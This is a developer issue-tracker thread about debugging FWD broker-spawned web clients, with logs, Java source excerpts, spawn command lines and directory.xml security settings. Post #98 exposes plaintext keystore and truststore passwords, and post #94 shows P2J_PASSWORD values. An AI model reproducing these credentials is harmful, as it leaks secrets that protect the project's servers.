25/10/14 13:43:55.850-0400 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=9822aec1-e19b-4bdc-b92c-ce697c0a2e30 registered. 25/10/14 13:44:10.407-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp921878502-58 | not available host:port fwddev1/127.0.1.1:7449. 25/10/14 13:44:18.529-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp921878502-58 | Returns the redirect url https://null:36139/index.html?token=057fb86f88e1939b6775f24fb4c361cf as response to GUI client.
After killing the broker, I connected the webclient again, and it connected to the non-broker launched webclient. Here are the server log entries:
25/10/14 13:54:29.201-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp921878502-61 | not available host:port localhost/127.0.0.1:7449. 25/10/14 13:54:34.783-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp921878502-61 | Returns the redirect url https://fwddev1:7449/index.html?token=44dc023560e07960b801a1d5e6135d5c as response to GUI client. 25/10/14 13:54:39.722-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [liberation mono,8,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,12,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.727-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [liberation mono,9,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [lato,9,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,9,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,8,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,10,true,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,10,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:39.730-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus | Font [open sans,11,false,false,false,false,0] has no legacy metrics. 25/10/14 13:54:46.968-0400 | INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:Conversation [00000007:bogus], Session:00000007, ThreadId:00000006, User:bogus/storage-hotel | Connecting to [hotel]
#88 Updated by Sergey Ivanovskiy 9 months ago
Yes, I see that the code looks broken somehow in the following way. CLIENT_IP is null.
#89 Updated by Sergey Ivanovskiy 9 months ago
CLIENT_IP environment variable is set only from this request parameter requestParameters.getExternalUserIp() as an environment variable but actually it is not an environment variable and it is not read from the OS environment.
#90 Updated by Sergey Ivanovskiy 9 months ago
The following method of WebDriverHandler should set an external user ip
static WebDriverRequestParameters getRequestParameters(Request base, HttpServletRequest request)
{
String externalUserIp;
String internalUserIp;
String forwardedIps = request.getHeader(HttpHeader.X_FORWARDED_FOR.asString());
if (StringHelper.hasContent(forwardedIps))
{
String[] forwardedIpArray = forwardedIps.split(",");
externalUserIp = forwardedIpArray[0];
// same as HttpHeader.X-Real-IP
internalUserIp = forwardedIpArray[forwardedIpArray.length - 1];
}
else
{
externalUserIp = request.getRemoteAddr();
internalUserIp = request.getRemoteAddr();
}
return new WebDriverRequestParameters()
.setForwardedHost(resolveForwardedHost(request))
.setForwardedProto(FORWARDED_HOST_CONFIG != null ?
FORWARDED_PROTO_CONFIG :
request.getHeader(HttpHeader.X_FORWARDED_PROTO.asString()))
.setExternalUserIp(externalUserIp)
.setInternalUserIp(internalUserIp)
.setServerName(request.getServerName())
.setServerPort(request.getServerPort())
.setCookies(request.getCookies())
.setParamMap(request.getParameterMap())
.setQueryParams(base.getQueryParameters())
.setUser(base.getParameter("usr"))
.setPassword(base.getParameter("psw"))
.setTheme(base.getParameter("theme"));
}
#91 Updated by Sergey Ivanovskiy 9 months ago
Roger, if you have an environment, then please set the breakpoint at the server side code of ClientSpawner
public int spawn(WebClientAllocator allocator, String[] requestParameters)
{
ClientBuilderParameters params = getBuildParams();
if (params.getOsUser() == null)
{
throw new NullPointerException("The OS username must be provided!");
}
// Get a temporary account from pool.
TemporaryAccount tmpAcc = TemporaryAccount.open();
if (tmpAcc == null)
{
RuntimeException exc =
new RuntimeException("Temporary Account Pool is empty! Please call your system administrator.");
LOG.warning("Spawn exception:", exc);
throw exc;
}
// Get a list of brokers for this user
Brokers brokers = BrokerManager.getBrokers(params.getOsUser());
// register listener
SpawnerImpl spawner = SpawnerImpl.getInstance();
spawner.setListenerTimeoutMs(getListenerTimeout());
spawner.addListener(params.getUuid(), tmpAcc, this);
clientStartupCountDown = new CountDownLatch(1);
// initial environment map contains user and password
Map<String, String> environmentMap = tmpAcc.getEnvironmentMap();
BaseClientBuilderOptions baseOptions = params.getDirOptions().getBaseOptions();
environmentMap.putAll(baseOptions.getEnvProperties());
// add P2J_HOME so that all P2J client sessions spawned below this one can find their way home
environmentMap.put(Configuration.PROP_HOME_DIR, baseOptions.getLibPath());
if (requestParameters != null && requestParameters.length > 2) //<----------please set breakpoint here
{
environmentMap.put(BrokerManager.CLIENT_IP, requestParameters[2]);
}
// used by CentralLogger to stop listening for the streamed msgs.
AtomicBoolean isSpawnerRunning = new AtomicBoolean(false);
ready = false;
SessionManager sessionManager = RouterSessionManager.get();
int exitCode = SpawnError.GENERIC.getCode();
try
{
if (sessionManager != null && sessionManager.getSessionLock())
{
exitCode = SpawnError.SESSION_LOCKED.getCode();
}
else
{
int spawnerLaunchTimeout = baseOptions.getSpawnerLaunchTimeout() != null ?
baseOptions.getSpawnerLaunchTimeout() : this.getDefaultTimeout();
exitCode = brokers.getBrokers().isEmpty() ?
spawnLocal(environmentMap, allocator, requestParameters, isSpawnerRunning,
spawnerLaunchTimeout) :
spawnRemote(brokers, environmentMap, allocator, requestParameters);
}
if (exitCode != 0)
{
LOG.log(SpawnError.isInvalidOsCredentials(exitCode) ?
Level.FINER :
Level.WARNING,
SpawnError.getSpawnMsgOrDefault(exitCode));
}
}
catch (Throwable t)
{
LOG.severe(SpawnError.GENERIC.getMsg(), t);
}
finally
{
String clientId = params.getUuid();
isSpawnerRunning.set(false);
if (exitCode != 0 && allocator != null)
{
allocator.freeClient(clientId);
}
}
return exitCode;
}
It seems that for some reasons
CLIENT_IP is null.#92 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger, if you have an environment, then please set the breakpoint at the server side code of
ClientSpawner
[...]
It seems that for some reasonsCLIENT_IPis null.
I had to hard reboot, so I need to chkdsk my USB drive with the VM images on them... I can do this. Is there a good place to break?
#93 Updated by Roger Borrello 9 months ago
- File 9709_debug_BrokerManager.png added
The environmentMap.put(BrokerManager.CLIENT_IP, requestParameters[2]); results in CLIENT_IP=192.168.1.227 being put in the environment space, which is the IP address of my laptop, which is connecting to the standard server.
I followed down to the BrokerManager.updateWebClientOptions(BrokerSpawnParameters args, WebAllocatedResources allocatedResources)
The forwardedHost is null.
#94 Updated by Roger Borrello 9 months ago
In the BrokerManager.spawn, when we get to:
if (spawn)
{
result = broker.getRemote().spawn(args);
}
The
args.command contains:
[${remote.spawner}, 0, ${remote.secure.port}, ${remote.host}, standard, a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, net:socket:nio=false, net:ssl:trackSeqNo=false, fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, client:web:port=7449]
And the
args.environment contains:
{CLIENT_IP=192.168.1.227, P2J_SUBJECT=6F73313237384967354A3933315A4F43, P2J_PASSWORD=33394269545F26342D39336737373760, P2J_HOME=/home/fwd/projects/fwd/build/lib/}
Is it the
${remote.host} that the spawner on the broker is not retrieving a value for, and leaving null in the URL?#95 Updated by Sergey Ivanovskiy 9 months ago
I think these templates should be replaced by BrokerCore that is according to the code:
public static synchronized BrokerSpawnResult spawn(BrokerSpawnParameters args)
{
// The ProcessBuilder instance
final ProcessBuilder pb = new ProcessBuilder();
// Remote spawn response
final BrokerSpawnResult result = new BrokerSpawnResult();
// Process
Process shell = null;
// Set environment variables.
if (args.getEnvironment() == null)
{
args.setEnvironment(new HashMap<String, String>());
}
// Exports as environment variables
args.getEnvironment().put(BROKER_HOST, host);
args.getEnvironment().put(BROKER_PORT, port);
args.getEnvironment().put(BROKER_JVMARGS, jvmargs);
args.getEnvironment().put(BROKER_CLASSPATH, classpath);
pb.environment().putAll(args.getEnvironment());
// Set directory
File spawnerDir = new File(spawner);
pb.directory(spawnerDir.getAbsoluteFile().getParentFile());
// Command line arguments
List<String> command = new LinkedList<String>();
// Replace place holders
for (String cmd : args.getCommand())
{
// replace placeholders
if (cmd.indexOf(BrokerCore.PARAM_HOST) > -1)
{
command.add(cmd.replace(BrokerCore.PARAM_HOST, host));
}
else if (cmd.indexOf(BrokerCore.PARAM_PORT) > -1)
{
command.add(cmd.replace(BrokerCore.PARAM_PORT, port));
}
else if (BrokerCore.PARAM_SPAWNER.equals(cmd))
{
command.add(spawner);
}
else if (BrokerCore.PARAM_JVM.equals(cmd))
{
command.addAll(jvmArgs);
}
else if (BrokerCore.PARAM_CP.equals(cmd))
{
command.add("-classpath");
command.add(classpath);
}
else
{
command.add(cmd);
}
}
...................................
}
Thus, we should check the
BrokerCore process if these values are correctly read from the provided client xml.#96 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I think these templates should be replaced by
BrokerCorethat is according to the code:
[...]
Thus, we should check theBrokerCoreprocess if these values are correctly read from the provided client xml.
I will check this first thing.
#97 Updated by Sergey Ivanovskiy 9 months ago
Trying to setup broker client too and notify you if this issue becomes clarified.
#98 Updated by Roger Borrello 9 months ago
At startup, the broker client has these parameters:
sharedFile = broker_client.xml; privateFile = none; isServer = false; configuraton values =
{
CLIENT:MODE:BROKER = true
CLIENT:MODE:BATCH = true
CLIENT:LOGGING:PATH = /home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log
CLIENT:LOGGING:ROTATIONCOUNT = 4
CLIENT:LOGGING:ROTATIONLIMIT = 50000000
CLIENT:DRIVER:BACKGROUND = true
NET:CONNECTION:SECURE = true
NET:SERVER:HOST = fwddev1
NET:SERVER:SECURE_PORT = 3333
NET:SERVER:PORT = 3433
NET:SERVER:INSECURE_PORT = 3433
NET:QUEUE:CONVERSATION = true
NET:QUEUE:START_THREAD = false
NET:SOCKET:NIO = false
SECURITY:CERTIFICATE:VALIDATE = true
SECURITY:TRUSTSTORE:FILENAME = srv-certs.store
SECURITY:TRUSTSTORE:ALIAS = standard
SECURITY:KEYSTORE:FILENAME = broker1-private-key.store
SECURITY:KEYSTORE:PROCESSALIAS = broker1
SECURITY:AUTHENTICATION:TYPE = program
ACCESS:PASSWORD:TRUSTSTORE = y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd
ACCESS:PASSWORD:KEYSTORE = (G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O
ACCESS:PASSWORD:KEYENTRY = dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx
ACCESS:PASSWORD:MASTERKEYENTRY = 7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x
REMOTE:RETRY:COUNT = 10
REMOTE:RETRY:SECONDS = 10
REMOTE:AGENT:HOST = fwddev1
REMOTE:AGENT:USER = fwd
REMOTE:AGENT:DEDICATEDMODE = false
REMOTE:SPAWNER:FILE = /opt/spawner/spawn
REMOTE:JAVA:ARGS = -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/fwd/build/lib/
REMOTE:JAVA:CLASSPATH = /home/fwd/projects/fwd/build/lib/p2j.jar
}
#99 Updated by Roger Borrello 9 months ago
- File 9709_debug_BrokerCore.png added
In BrokerCore, the replacement was made into the command line:
The command line that is built contains:
[/opt/spawner/spawn, 0, 3333, fwddev1, standard, 9a4b3718-faa3-4357-9c8d-58334a21d96b, net:socket:nio=false, net:ssl:trackSeqNo=false, fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, -Xmx512m, -Djava.awt.headless=true, -Djava.library.path=/home/fwd/projects/fwd/build/lib/, -classpath, /home/fwd/projects/fwd/build/lib/p2j.jar, com.goldencode.p2j.main.ClientDriver, net:server:host=fwddev1, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=3333, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=9a4b3718-faa3-4357-9c8d-58334a21d96b, client:web:port=7449, client:web:host=fwddev1, client:web:dedicatedMode=false]
#100 Updated by Roger Borrello 9 months ago
Where does the URL get built? Is that in spawn? Something is wrong in there.
#101 Updated by Sergey Ivanovskiy 9 months ago
Please look at #9709-84, WebClientSpawner, TemporaryClientTask.doWork
#102 Updated by Sergey Ivanovskiy 9 months ago
Roger, could you share your server logs, directory and broker client xml for one of the failed starts? I passed difficulties with broker process and now I have no issues except that iframe as I guessed does not except localhost url if the web page url is not localhost. So at the moment the dedicated mode does nor work but it is expected.
#103 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger, could you share your server logs, directory and broker client xml for one of the failed starts? I passed difficulties with broker process and now I have no issues except that
iframeas I guessed does not exceptlocalhosturl if the web page url is notlocalhost. So at the moment the dedicated mode does nor work but it is expected.
Are you working with trunk or a different branch?
I am trying to attach logs, but Redmine is not allowing...
#104 Updated by Sergey Ivanovskiy 9 months ago
I am working with the branch 10359a that has unrelated changes (the trunk version). If dedicatedMode is false, then my setup works properly with broker client. I guess that you have incorrect broker security setup.
#105 Updated by Roger Borrello 9 months ago
- File fwd_client_base_crash_20251014_181908.log
added - File fwd_server_20251015_100848_0_0.log
added - File fwd_client_base_crash_20251015_113118.log
added - File fwd_client_base_crash_20251015_100352.log
added - File broker_client.xml
added
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Roger, could you share your server logs, directory and broker client xml for one of the failed starts? I passed difficulties with broker process and now I have no issues except that
iframeas I guessed does not exceptlocalhosturl if the web page url is notlocalhost. So at the moment the dedicated mode does nor work but it is expected.I am trying to attach logs, but Redmine is not allowing...
On one or two of the crash logs, I may have been debugging and slowing things down.
#106 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I am working with the branch 10359a that has unrelated changes (the trunk version). If
dedicatedModeis false, then my setup works properly with broker client. I guess that you have incorrect broker security setup.
I have <agent dedicatedMode="false"/>
#107 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Please look at #9709-84,
WebClientSpawner,TemporaryClientTask.doWork
The remoteUri is already https://null:39941/ at the WebClientSpawner
Going back, I see data is the URI, and already https://null:39941/
@Override
public void clientIsReady(String uuid, String data)
{
SpawnerListener listener = listeners.get(uuid);
if (listener != null)
{
listener.setSafeRemoveListener(true);
listener.clientIsReady(data);
}
}
When the server is at:
Daemon Thread [Conversation [00000008:bogus]] (Suspended (breakpoint at line 204 in WebClientSpawner))
WebClientSpawner.clientIsReady(String) line: 204
SpawnerImpl.clientIsReady(String, String) line: 161
NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not available [native method]
NativeMethodAccessorImpl.invoke(Object, Object[]) line: 77
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 569
MethodInvoker.invoke(Object[]) line: 126
Dispatcher.processInbound(InboundRequest, boolean, NetResource) line: 808
Conversation.block() line: 418
Conversation.run() line: 237
Thread.run() line: 840
Where is the remote invoke coming from so I can see what is passing data? If I suspend the client main thread, I'm at:
Thread [main] (Suspended)
waiting for: Object (id=390)
Object.wait(long) line: not available [native method]
Conversation.block() line: 389
Conversation.waitMessage(int) line: 344
Queue.transactImpl(Message, int) line: 1239
Queue.transact(Message, int) line: 687
DirectSession(BaseSession).transact(Message, int) line: 276
HighLevelObject.transact(RoutingKey, Object[]) line: 221
RemoteObject$RemoteAccess$Invoker.invoke(Object[]) line: 1673
TraceHelper.trace(Invocable, Object[], CentralLogger, String) line: 145
RemoteObject$RemoteAccess.trace(Object, Method, Object[], RoutingKey) line: 1498
RemoteObject$RemoteAccess.invokeCore(Object, Method, Object[]) line: 1467
RemoteObject$RemoteAccess(InvocationStub).invoke(Object, Method, Object[]) line: 144
$Proxy2.start(String) line: not available
BrokerCore.connect(SessionManager, BootstrapConfig) line: 549
BrokerCore.start(BootstrapConfig) line: 214
ClientDriver.start(BootstrapConfig) line: 283
ClientDriver(CommonDriver).process(String[]) line: 522
ClientDriver.process(String[]) line: 173
ClientDriver.main(String[]) line: 347
#108 Updated by Sergey Ivanovskiy 9 months ago
Your server log show the broker is registered so it seems that the broker is configured correctly. The uri host:port part is built on the web client side because TemporaryClientTask.doWork is executed by the spawned client process.
#109 Updated by Sergey Ivanovskiy 9 months ago
It looks like for your case this code that executed on the client side gives null
// get an explicit port and host set by the client
int port = config.getInt(ConfigItem.PORT, 0);
String host = config.getString(ConfigItem.HOST, null); // returns null in your case
#110 Updated by Sergey Ivanovskiy 9 months ago
Sergey Ivanovskiy wrote:
It looks like for your case this code that executed on the client side gives null
[...]
The spawn process should have this client:web:host=... parameter.
#111 Updated by Roger Borrello 9 months ago
I never hit a breakpoint in WebClientSpawner.doWork, even debugging the client startup.
#112 Updated by Sergey Ivanovskiy 9 months ago
Roger, I guess that BrokerCore in your case has dedicatedHost as a null
// add client:web:host
command.add("client:web:host=" + dedicatedHost);
command.add("client:web:dedicatedMode=" + String.valueOf(dedicatedMode));
because for the broker spawned client
client:web:host is assigned inside BrokerCore. So it can be the configuration issue or still the code issue. I am checking it now.#113 Updated by Sergey Ivanovskiy 9 months ago
I do not understand why the following code of BrokerCore does not work for your case:
private static void initialize(BootstrapConfig cfg)
{
cfg.setServer(false);
// UUID
uuid = null;
// get spawner name
host = cfg.getString(ConfigItem.SERVER_HOST, "localhost");
// secured port as string
port = String.valueOf(cfg.getInt(ConfigItem.SERVER_SECURE_PORT, -1));
// number of retry
count = cfg.getInt("remote", "retry", "count", 10);
// retry time in seconds
seconds = cfg.getInt("remote", "retry", "seconds", 10);
// get spawner name
spawner = cfg.getString("remote", "spawner", "file", "./spawn");
// get launch timeout for the spawner
spawnerLaunchTimeout = cfg.getInt(ConfigItem.SPAWNER_LAUNCH_TIMEOUT, ClientSpawner.DEFAULT_TIMEOUT);
// get the dedicated web host
String localHost;
try
{
InetAddress inetAddress = InetAddress.getLocalHost();
localHost = inetAddress.getHostName();
}
catch (UnknownHostException e)
{
localHost = "localhost"; // this localhost should not work for
}
dedicatedHost = cfg.getString("remote", "agent", "host", localHost);
if (Utils.isValidHostNameOrIpAddress(dedicatedHost))
{
LOG.logp(Level.SEVERE,
BrokerCore.class.getName(),
"initialize",
"remote:agent:host should be configured as a network host name or IP address");
}
#114 Updated by Sergey Ivanovskiy 9 months ago
This dedicatedHost = cfg.getString("remote", "agent", "host", localHost); value should not be null but it is null for your case.
#115 Updated by Sergey Ivanovskiy 9 months ago
But in your crash logs I see correctly provided arguments:
25/10/14 18:18:41.488-0400 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.spawn()] | ThreadName:main | Command line arguments: [/opt/spawner/spawn, 0, 3333, fwddev1, standard, a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, net:socket:nio=false, net:ssl:trackSeqNo=false, fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, -Xmx512m, -Djava.awt.headless=true, -Djava.library.path=/home/fwd/projects/fwd/build/lib/, -classpath, /home/fwd/projects/fwd/build/lib/p2j.jar, com.goldencode.p2j.main.ClientDriver, net:server:host=fwddev1, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=3333, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=a78cce3b-9fdb-40f9-a0e0-620495bc8e0f, client:web:port=7449, client:web:host=fwddev1, client:web:dedicatedMode=false]
Did you install
spawner correctly?#116 Updated by Sergey Ivanovskiy 9 months ago
I found one differences with my setup. You have sso:subject:id=bogus but I use the user/password setup and do not use sso. I do not know even if this should work?
#117 Updated by Sergey Ivanovskiy 9 months ago
The broker uses OS user and the web client is using this OS user to access the resources.
#118 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
But in your crash logs I see correctly provided arguments:
[...]
Did you installspawnercorrectly?
I ran ./install_spawner.sh -a. Is the broker1-private-key.store required to be in /opt/spawner?
#119 Updated by Sergey Ivanovskiy 9 months ago
No, I think that broker1-private-key.store is not required to be in /opt/spawner.
#120 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I found one differences with my setup. You have sso:subject:id=bogus but I use the user/password setup and do not use sso. I do not know even if this should work?
The broker uses OS user and the web client is using this OS user to access the resources.
Post your directory.xml... I don't know where the sso:subject:id comes from, but I am using most of the base hotel_gui setup, plus the broker updates, and changed key information.
#121 Updated by Sergey Ivanovskiy 9 months ago
- File directory_for_old_testcases.xml
added
I used old testcases project but not hotel_gui. If it can be helpful, then please compare my version for the different project or let me time to try the same setup with hotel_gui.
#122 Updated by Roger Borrello 9 months ago
- File directory.xml
added
Sergey Ivanovskiy wrote:
I used old
testcasesproject but nothotel_gui. If it can be helpful, then please compare my version for the different project or let me time to try the same setup withhotel_gui.
I copied a few things in the security area to come up with the attached.
Mods below...
<node class="container" name="security">
<node class="container" name="acl">
<node class="container" name="trustedspawner"> <------- Did not have this
<node class="container" name="000100">
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="fwd"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
<node class="trustedSpawnerRights" name="rights">
<node-attribute name="allow" value="true"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1"/>
</node>
</node>
</node>
<node class="container" name="net">
<node class="container" name="000505"> <------- Chose this number
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1_process"/>
</node>
<node class="systemRights" name="rights">
<node-attribute name="check" value="true"/>
</node>
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="accounts"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
</node>
<node class="container" name="002268">
<node class="resource" name="resource-instance">
<node-attribute name="reftype" value="TRUE"/>
<node-attribute name="reference" value="com.goldencode.p2j.main.RemoteSpawner"/>
</node>
<node class="netRights" name="rights">
<node-attribute name="permissions" value="'0111'B"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1"/> <------- Did not have this
<node-attribute name="values" value="ehotel"/>
<node-attribute name="values" value="bogus"/>
</node>
</node>
<node class="container" name="security">
<node class="container" name="acl">
However, now I have a problems starting the server:
25/10/15 15:56:23.540-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:main | ACLs branch <trustedspawner> is ignored 25/10/15 15:56:23.544-0400 | SEVERE | com.goldencode.p2j.main.CommonDriver | ThreadName:main | System exits with code -13 caused by: com.goldencode.p2j.cfg.ConfigurationException: cannot create Rights for /security/acl/net/000505
#123 Updated by Sergey Ivanovskiy 9 months ago
- File directory.xml
added
Roger, I encountered the same issues but fixed them in this directory. systemRights should be under system container, netRights under net and finally reproduced the same issue, so it is related to sso login but it is expected. It should not work with sso, no one depeloped this. This is my directory.xml and client xml
#124 Updated by Sergey Ivanovskiy 9 months ago
- File broker1_client.xml
added
#125 Updated by Sergey Ivanovskiy 9 months ago
- File directory_os_user_login.xml
added
Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
<node class="container" name="config">
<node class="authMode" name="auth-mode">
<node-attribute name="mode" value="4"/>
<node-attribute name="retries" value="0"/>
<node-attribute name="plugin" value="com.goldencode.p2j.security.GuestAccess"/>
</node>
<node class="container" name="auth-plugins">
<node class="container" name="guest_login">
<node class="string" name="classname">
<node-attribute name="value" value="com.goldencode.p2j.security.GuestAccess"/>
</node>
<node class="string" name="description">
<node-attribute name="value" value="Non-Interactive Guest Auto-Login"/>
</node>
<node class="string" name="option">
<node-attribute name="value" value="bogus"/>
</node>
</node>
</node>
...........................
#126 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
[...]
Oh my... So the Sso plugin is not supported for broker clients? I made the changes, and signed in with "fwd/fwd" instead of "hotel/hotel", and it worked. I'm trying to setup the fwddev2 server again.
#127 Updated by Roger Borrello 9 months ago
Roger Borrello wrote:
I'm trying to setup the fwddev2 server again.
I see in your directory.xml you have 192.168.100.28, as well as in the broker1_client.xml for both the net:server:host and remote:agent:host. Have you been able to try your broker on a different server?
The whole concept is counter-intuitive because if you were to have multiple brokers to load-balance, what would you configure in directory.xml for webClient/host?
#128 Updated by Roger Borrello 9 months ago
- webClient/host is fwddev1 in
directory.xml - net:server:host is fwddev1 in
broker1_client.xml - remote:agent:host is fwddev2 in
broker1_client.xml
The broker shows:
fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc broker1_client.xml INFO: Spawn process started with pid 3094. INFO: The password length(data read): 120(3). INFO: Check user account for: fwd. INFO: The password is not null. INFO: GetSPNam not null, used password from structure. INFO: Attempt to use login with password. INFO: Passwords comparison result: 0. INFO: Spawn cmd (java) in workdir (/home/fwd/projects/hotel_gui/deploy/broker). INFO: Spawn result code: (0). INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.
But the web page shows:
The webpage at https://fwddev2:43337/index.html?token=41d25655ed7500527400ade98c069ea8 might be temporarily down or it may have moved permanently to a new web address.
The fwddev2 process list contains the spawner with:
fwd 3157 0.0 0.0 27188 3944 pts/1 Ss+ 19:28 0:00 /opt/spawner/spawn 1 fwd /home/fwd/projects/hotel_gui/deploy/broker java -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/fwd/build/lib/ -classpath /home/fwd/projects/fwd/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=fwddev1 net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 server:spawner:uuid=2ba5583c-7fdb-4dc4-84eb-14701d4a0e84 client:web:port=7450 client:web:host=fwddev2 client:web:dedicatedMode=false
#129 Updated by Roger Borrello 9 months ago
- File fwd_client_20251015_191917_24763_0.log
added - File fwd_client_base_crash_20251015_193027.log
added - File fwd_server_20251015_191756_0_0.log
added
I didn't attach the broker's log (on fwddev2) in the last post so I attached (fwd_client_base_crash_20251015_193027.log). It seems to indicate the SSL connection could not be created. The server log (on fwddev1) is also attached. There was also a client log there.
#130 Updated by Roger Borrello 9 months ago
If I recall correctly, you indicated that all values (webClient/host, net:server:host and remote:agent:host) should be fwddev2. But when I do that, I get fwddev2 refused to connect. on the web page.
#131 Updated by Sergey Ivanovskiy 9 months ago
Roger, I investigated your results in #9709-128 and concluded that it is the same reason why this page cannot be opened by the iframe while its parent page is from the different web server that can be observed when dedicatedMode=true. It needs a cross pages access but the Same-Origin Policy prevents this to work properly.
#132 Updated by Sergey Ivanovskiy 9 months ago
So your setup is ok now. If I do not miss a root cause, then we should somehow allow the cross-origin pages included into our web page via iframe.
Greg, what do you propose to resolve this case?
#133 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
[...]Oh my... So the Sso plugin is not supported for broker clients? I made the changes, and signed in with "fwd/fwd" instead of "hotel/hotel", and it worked. I'm trying to setup the fwddev2 server again.
I think so because SSO plugin has been developed after the broker code.
#134 Updated by Sergey Ivanovskiy 9 months ago
There is a bug in the trunk version if the broker client is exited by CTRL+C, then on the server side its resources are not released due to this NPE:
25/10/16 11:33:07.704+0300 | SEVERE | com.goldencode.p2j.main.ServerDriver | ThreadName:Reader [00000001:broker1_process] | Unhandled exception thrown:
java.lang.NullPointerException
at com.goldencode.p2j.main.BrokerManager.removeUserHostWithCheck(BrokerManager.java:521)
at com.goldencode.p2j.main.BrokerManager.deregisterBroker(BrokerManager.java:503)
at com.goldencode.p2j.main.Broker.removeBroker(Broker.java:164)
